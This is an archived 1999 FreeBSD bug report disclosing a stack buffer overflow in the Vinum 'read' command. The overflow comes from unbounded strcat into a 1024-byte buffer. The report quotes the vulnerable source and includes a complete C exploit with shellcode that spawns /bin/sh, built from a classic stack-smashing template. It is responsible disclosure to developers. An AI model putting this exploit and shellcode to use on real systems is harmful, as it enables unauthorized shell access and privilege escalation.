Date: Wed, 3 Nov 1999 16:04:41 -0800 (PST) From: kienow@infinet.com To: freebsd-gnats-submit@freebsd.org Subject: bin/14697: Exploitable buffer overflow in Vinum (FreeBSD 3.3-STABLE, others?) Message-ID: <19991104000441.7939C15661@hub.freebsd.org>
next in thread | raw e-mail | index | archive | help
>Number: 14697 >Category: bin >Synopsis: Exploitable buffer overflow in Vinum (FreeBSD 3.3-STABLE, others?) >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Nov 3 16:10:02 PST 1999 >Closed-Date: >Last-Modified: >Originator: Matthew >Release: FreeBSD 3.3-STABLE >Organization: >Environment: >Description: The other day I discovered that Vinum on FreeBSD 3.3-STABLE is vulnerable to a buffer overflow. I am not sure of any other versions of FreeBSD having this same vulnerability, but I assume from 3.0 - 3.3 this exists because vinum was added into FreeBSD 3.0 . The vulnerability exists in the routine that handles the 'read' command. $ man vinum . . . read disk [disk...] Read the vinum configuration from the specified disks. . . . The vinum_read routine is found in the commands.c located in the /usr/src/sbin/vinum/ directory. -------------------------------- . . . 165: void 166: vinum_read(int argc, char *argv[], char *arg0[]) 167: { 168: int error; 169: char buffer[BUFSIZE]; // read config file in here 170: struct _ioctl_reply *reply; 171: int i; 172: 173: reply = (struct _ioctl_reply *) &buffer; 174: if (argc < 1) { // wrong arg count 175: fprintf(stderr, "Usage: read drive [drive ...]\n"); 176: return; 177: } 178: strcpy(buffer, "read "); 179: for (i = 0; i < argc; i++) { // each drive name 180: strcat(buffer, argv[i]); 181: strcat(buffer, " "); 182: } . . . -------------------------------- The vulnerable code is on line 180, where strcat is used to copy data from the command line into buffer. Since strcat does not perform any boundary checking on the data being copied into buffer, the buffer can be overrun. Next, how big is this buffer? BUFSIZE is defined in the vinumio.h located in the /usr/src/sys/dev/vinum/ directory. Now we know that BUFSIZE is 1024 bytes and thus buffer can hold 1024 bytes, so we will try to overrun it by 100 bytes. After a little toying around we find that an offset of -405, will give us the address of 0xbfbfde3d and an eggsize of 4096, will give us our shell. (depending upon the shell code used) By default vinum is not SETUID, so I assume it doesn't prove to be an immediate danger. But under other circumstances it might prove a greater danger? Sorry this is the first hole I have discovered, so I am learning. ;) --------- CUT HERE --------- /* * vinum_exploit.c * * Vinum (Logical Volume Manager control program) exploit discovered by * Matthew Kienow (kienow@infinet.com) on Tuesday November 2, 1999. * Vinum is vulnerable on FreeBSD 3.3-STABLE, I am not sure of any others, * because I do not have access to any other computers running FreeBSD at * this time. But I assume from 3.0 - 3.3 this exists because vinum was added * into FreeBSD 3.0 . * Note: You should not have to run this program with any arguments, because * everything is set as default. * * Thanks to Aleph One for his paper 'Smashing The Stack For Fun And Profit'. * This code is just a modified version of exploit4.c from 'Smashing The Stack For Fun And Profit'. */ #include <stdlib.h> #define DEFAULT_OFFSET -405 #define DEFAULT_BUFFER_SIZE 1124 #define DEFAULT_EGG_SIZE 4096 #define NOP 0x90 char shellcode[]= /* mudge@lopht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("-***] Using address: 0x%x\t offset: %d\t egg:%d\n\n", addr, offset, eggsize); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/sbin/vinum read $RET"); } --------- CUT HERE --------- >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19991104000441.7939C15661>